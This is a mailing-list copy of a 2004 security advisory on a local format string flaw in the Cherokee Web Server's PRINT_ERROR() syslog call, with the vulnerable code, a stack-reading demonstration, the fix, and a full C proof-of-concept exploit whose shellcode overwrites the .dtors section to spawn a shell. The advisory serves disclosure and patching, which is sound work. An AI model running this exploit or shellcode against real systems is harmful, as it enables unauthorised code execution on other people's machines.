<<< Date Index >>>     <<< Thread Index >>>

Format String in Cherokee




-------------------------------------------------
No System Group - Advisory #3 - 17/04/04
-------------------------------------------------
Program:  Cherokee Web Server
Homepage:  http://www.0x50.org
Vulnerable Versions: Cherokee 0.4.16 and prior
Risk: Low / Medium
Impact: Local Format String Vulnerability
-------------------------------------------------


- DESCRIPTION
-------------------------------------------------
Cherokee is a tiny, very fast, lightweight Web
server. It is implemented entirely in C, and has
no dependencies beyond a standard C library. It
is embeddable, extensible with plug-ins, and supports
on-the-fly configuration by reading files or strings.

More informations at: http://www.0x50.org


- DETAILS
-------------------------------------------------
Cherokee Web Server is affected by a format string
bug in the PRINT_ERROR() function to 66 lines of 
common.c code:

--- common.c ---
55: void 
56: PRINT_ERROR (const char *format, ...)
57: {
58:         va_list arg_list;
59:         CHEROKEE_TEMP(tmp, 2048);  
60:         
61:         va_start(arg_list, format);
62:         vsnprintf (tmp, tmp_size, format, arg_list);
63:         va_end(arg_list);
64:    
65:         fprintf (stderr, "%s", tmp);
66:         syslog (LOG_ERR, tmp); // The bug
67: }    
--- common.c ---

We can show some parts of the stack memory by using a format string loke
this:

coki@servidor:~$ cherokee -C AAAA%08x
Can't read the configuration file: 'AAAA%08x'
coki@servidor:~$ tail -n 1 /var/log/syslog
Apr 17 15:03:25 servidor cherokee: Can't read the configuration file: 
'AAAA0804b780'
coki@servidor:~$ 


- EXPLOIT
-------------------------------------------------

---------------- cherokee_exp.c -----------------
/* cherokee_exp.c
   
   Cherokee Web Server Format String Vulnerability
   
   Cherokee <= 0.4.16 local exploit (Proof of Concept)
   
   Tested in Slackware 9.0 and Slackware 9.1.0
     
   by CoKi <coki@xxxxxxxxxxxxxxx>
   No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <string.h>

#define PATH "/usr/local/bin/cherokee"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]=  /* aleph1 shellcode.45b */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
  "\x2f\x73\x68";
  
int check(unsigned long addr);

int main(int argc, char *argv[]) {
  
  int i, dtorsaddr;
  unsigned int bal1, bal2, bal3, bal4;
  char temp[512];
  char buffer[1024];
  char nop1[255], nop2[255];
  char nop3[255], nop4[255];
  int cn1, cn2, cn3, cn4;
  FILE *f;
  char *env[3] = {shellcode, NULL};
  int bufaddr = 0xbffffffa - strlen(shellcode) - 
strlen("/usr/local/bin/cherokee");
      
  /* finding .dtors address */
  sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
  f = popen(temp, "r");
  if(fscanf(f, " %08x", &dtorsaddr) != 1) {
    pclose(f);
    printf("Cannot find .dtors address\n");
    exit(1);
  }
  pclose(f);
  dtorsaddr = dtorsaddr + 4;
  
  printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n");
  printf(" by CoKi <coki@xxxxxxxxxxxxxxx>\n\n");
  printf(" shellcode address = %.8p\n", bufaddr);
  printf(" .dtors address    = %.8p\n\n", dtorsaddr);
  
  bzero(temp, sizeof(temp));
  bzero(buffer, sizeof(buffer));
      
  /* adding .dtors address */
  for(i = 0; i < 4; i++) {
    bzero(temp, sizeof(temp));
    sprintf(temp, "%s", &dtorsaddr);
    strncat(buffer, temp, 4);
    dtorsaddr++;
  }
  
  /* convert buffer address location */
  memset(nop1, 0, 255);
  memset(nop2, 0, 255);
  memset(nop3, 0, 255);
  memset(nop4, 0, 255);
  
  bal1 = (bufaddr & 0xff000000) >> 24;
  bal2 = (bufaddr & 0x00ff0000) >> 16;
  bal3 = (bufaddr & 0x0000ff00) >>  8;
  bal4 = (bufaddr & 0x000000ff);
  
  cn1 = bal4 - 16 - 36 - 88 - 2;
  cn1 = check(cn1);
  cn2 = bal3 - bal4 - 2;
  cn2 = check(cn2);
  cn3 = bal2 - bal3 - 2;
  cn3 = check(cn3);
  cn4 = bal1 - bal2 - 2;
  cn4 = check(cn4);

  memset(nop1, '\x90', cn1);
  memset(nop2, '\x90', cn2);
  memset(nop3, '\x90', cn3);
  memset(nop4, '\x90', cn4);
  
  sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
                "%%08x%%08x%%08x%%08x%%08x"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n\x90\x90\x90\x90"
                ,nop1, nop2, nop3, nop4);
                
  strcat(buffer, temp);
                                                                                
                                                                     
  execle(PATH, "cherokee", "-C", buffer, NULL, env);
}

int check(unsigned long addr) {
  char tmp[128];
  snprintf(tmp, sizeof(tmp), "%d", addr);
  if(atoi(tmp) < 1)
    addr = addr + 256;
  
  return addr;
}
---------------- cherokee_exp.c -----------------

coki@servidor:~$ make cherokee_exp
coki@servidor:~$ ./cherokee_exp

 Cherokee <= 0.4.16 local exploit (Proof of Concept)
 by CoKi <coki@xxxxxxxxxxxxxxx>

 shellcode address = 0xbfffffb6
 .dtors address    = 0x0804c590

Can't read the configuration file: '....%08x%08x%08x%
08x%08x%08x%08x%08x%08x%08x%08x......................
.....................................................
.....................................................
.................'
sh-2.05b$

This exploit does not give a root shell :(
Tested in Slackware Linux 9.0.0 and 9.1.0


- SOLUTIONS
-------------------------------------------------
Change the PRINT_ERROR() function of common.c
code:

--- common.c ---
55: void 
56: PRINT_ERROR (const char *format, ...)
57: {
58:         va_list arg_list;
59:         CHEROKEE_TEMP(tmp, 2048);  
60:         
61:         va_start(arg_list, format);
62:         vsnprintf (tmp, tmp_size, format, arg_list);
63:         va_end(arg_list);
64:    
65:         fprintf (stderr, "%s", tmp);
66:         syslog (LOG_ERR, "%s", tmp); // It's ok
67: }    
--- common.c ---


- REFERENCES
-------------------------------------------------
http://www.nosystem.com.ar/advisories/advisory-03.txt


- CREDITS
-------------------------------------------------
Discovered by CoKi <coki@xxxxxxxxxxxxxxx>

No System Group - http://www.nosystem.com.ar